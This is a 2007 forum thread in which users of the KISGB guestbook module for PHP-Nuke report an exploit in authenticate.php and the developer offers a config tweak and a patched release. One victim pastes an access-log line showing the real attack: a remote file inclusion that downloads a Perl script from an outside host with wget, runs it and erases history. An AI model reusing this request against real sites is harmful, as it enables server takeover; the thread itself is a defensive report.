PHP Web Host - Quality Web Hosting For All PHP Applications Sign up for PayPal and start accepting credit card payments instantly
  Login or Register
 • Home • Downloads • Your Account • Forums • 

View next topic
View previous topic


Google
 
Web RavenPHPScripts (This Site)
Post new topic   Reply to topic
Author Message
zhanna
New Member
New Member


Joined: Jul 19, 2007
Posts: 6

PostPosted: Thu Jul 19, 2007 1:00 pm Reply with quote Back to top

Hi,

This morning I was informed by my web host of an exploit dealing with the authenticate.php script. They removed it from my account. Has there been a fix for this? I can't seem to find anything. I would love to keep using KISGB if at all possible.

Thanks,
Zhanna
View user's profile Send private message
Raven
Site Admin/Owner


Joined: Aug 27, 2002
Posts: 15227
Location: Kansas

PostPosted: Fri Jul 20, 2007 8:14 am Reply with quote Back to top

Yes there is - I haven't published it yet because I am still testing it. It should be soon.
View user's profile Send private message Visit poster's website AIM Address Yahoo Messenger
Raven
Site Admin/Owner


Joined: Aug 27, 2002
Posts: 15227
Location: Kansas

PostPosted: Fri Jul 20, 2007 6:28 pm Reply with quote Back to top

Modify your config.php file

Towards the top of config.php you will see this section:
##################################################
# Message Editing Settings #
##################################################

Add this line of code right BEFORE so it is the last setting in the Path and Security section:
$hide_errors = TRUE;


Then, at the bottom of config.php you will see this section:
######### DO NOT EDIT BELOW THIS LINE!! ##########
if (@file_exists($path_to_user_prefs)&&$use_userprefs) @include($path_to_user_prefs);

Add this line right after:
if (isset($hide_errors) AND $hide_errors) @ini_set('display_errors','off');



This will mask the error message that reveals the exploit. There is more code to fully fix the code but this will render the exploit useless.
View user's profile Send private message Visit poster's website AIM Address Yahoo Messenger
zhanna
New Member
New Member


Joined: Jul 19, 2007
Posts: 6

PostPosted: Sun Jul 22, 2007 11:35 am Reply with quote Back to top

Thanks! Will try this as soon as I can, hoping it will be good enough to satisfy my web host until the complete fix is ready.

Zhanna
View user's profile Send private message
steeve971
New Member
New Member


Joined: Jan 04, 2007
Posts: 5

PostPosted: Fri Oct 19, 2007 6:29 pm Reply with quote Back to top

Hi !

Your solution doesn't work ! Sad

My website was hacked by your script. Here is the log file :

19/Oct/2007:12:44:39 +0200] "GET /modules/kisgb-nuke/authenticate.php?default_path_for_themes=http://fr0x3rs.interfree.it/CmD/math1.php?&cmd=cd%20/tmp;wget%20http://fr0x3rs.interfree.it/s01.txt;perl%20s01.txt;rm%20s01.txt;unset;history%20-c HTTP/1.1" 200 1760 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7"
host56-235-static.53-82-b.business.telecomitalia.it -

Before this, I added these code but they don't work !
$hide_errors = TRUE;
if (isset($hide_errors) AND $hide_errors) @ini_set('display_errors','off');

Do you have any other solution ???
the hackers add a file named "backd00r.c" on the module root directory ! Go to google with this keyword "backd00r.c" and you'll see...Sad

Thank you for your answer...

--------
##################################################
# phpNuke Settings #
##################################################
$index = 1;
$hide_errors = TRUE;
##################################################
# Message Editing Settings #
##################################################
$allow_msg_lvl_edit_by_admin = false;
$allow_msg_lvl_edit_by_user = false;

et... AND...

######### DO NOT EDIT BELOW THIS LINE!! ##########
if (file_exists($path_to_user_prefs)&&$use_userprefs) @include($path_to_user_prefs);
if (isset($hide_errors) AND $hide_errors) @ini_set('display_errors','off');
$version = $app_version;
?>
View user's profile Send private message
Raven
Site Admin/Owner


Joined: Aug 27, 2002
Posts: 15227
Location: Kansas

PostPosted: Sat Oct 20, 2007 11:54 am Reply with quote Back to top

I have a "not fully tested" new version of KISGB that corrects all of this, at least I and the other testers haven't been able to break it. I will ready it for release (hopefully) w/i the next hour or so. I apologize for these issues and my health has not been good the past year or I would have had this released.
View user's profile Send private message Visit poster's website AIM Address Yahoo Messenger
Raven
Site Admin/Owner


Joined: Aug 27, 2002
Posts: 15227
Location: Kansas

PostPosted: Sat Oct 20, 2007 4:30 pm Reply with quote Back to top

I have sent you an email with a d/l link for v5.2.0. Please grab a copy and install it. Please test it thoroughly and let me know just asap if it is now working corectly.
View user's profile Send private message Visit poster's website AIM Address Yahoo Messenger
steeve971
New Member
New Member


Joined: Jan 04, 2007
Posts: 5

PostPosted: Sat Oct 20, 2007 6:08 pm Reply with quote Back to top

Thank you very much for your quick answer !

In fact, the previous version was very dangerous. My web host put down my website !

I'll try this new version asap and let you know !

Thanks again !
View user's profile Send private message
Raven
Site Admin/Owner


Joined: Aug 27, 2002
Posts: 15227
Location: Kansas

PostPosted: Tue Oct 23, 2007 7:29 am Reply with quote Back to top

What have you found in your testing? I really need to release this. Thanks!
View user's profile Send private message Visit poster's website AIM Address Yahoo Messenger
Display posts from previous:       
Post new topic   Reply to topic

View next topic
View previous topic
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
Forums ©
 

All logos and trademarks in this site are property of their respective owner.
The comments are property of their posters, all the rest © 2002-2008 by Raven
Proud to be listed at Lobo Links Web Directory

You can syndicate our news using the file xml

CSE HTML Validator Helped Clean up This Page! [Valid RSS] valid RSS 2.0 Valid robots.txt Stop Spam Harvesters, Join Project Honey Pot

Website engines core code is © copyright by PHP-Nuke but has been heavily patched and modified by myself and others.
PHP-Nuke is a free software released under the GNU/GPL.


:: fisubice phpbb2 style by Daz :: PHP-Nuke theme by www.nukemods.com ::

:: fisubice Theme Recoded To 100% W3C CSS & HTML 4.01 Transitional Compliance by Raven and 64bitguy ::

:: W3C CSS Compliance Validation :: W3C HTML 4.01 Transitional Compliance Validation ::

zerosum